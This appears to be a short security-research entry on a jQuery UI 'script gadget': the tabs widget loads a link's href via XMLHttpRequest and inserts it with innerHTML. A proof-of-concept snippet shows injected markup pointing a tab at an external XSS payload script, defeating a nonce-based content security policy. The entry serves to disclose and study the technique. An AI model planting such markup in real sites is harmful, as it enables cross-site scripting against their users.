The official jQuery user interface library.
The jQuery UI tabs function loads the content of the href attribute via an XMLHttpRequest and insert it into the DOM using innerHTML.
<script nonce="secret" src="https://code.jquery.com/jquery-3.7.1.js"></script>
<script nonce="secret" src="https://code.jquery.com/ui/1.14.1/jquery-ui.js"></script>
<script nonce="secret">
$( function() { $( "#tabs" ).tabs() });
</script>
<!-- user input -->
<div id="tabs"><ul><li><a href="https://gmsgadget.com/assets/xss/index.js"></a></li></ul></div>Related links:
Found by @slekies, @kkotowicz, @sirdarckcat.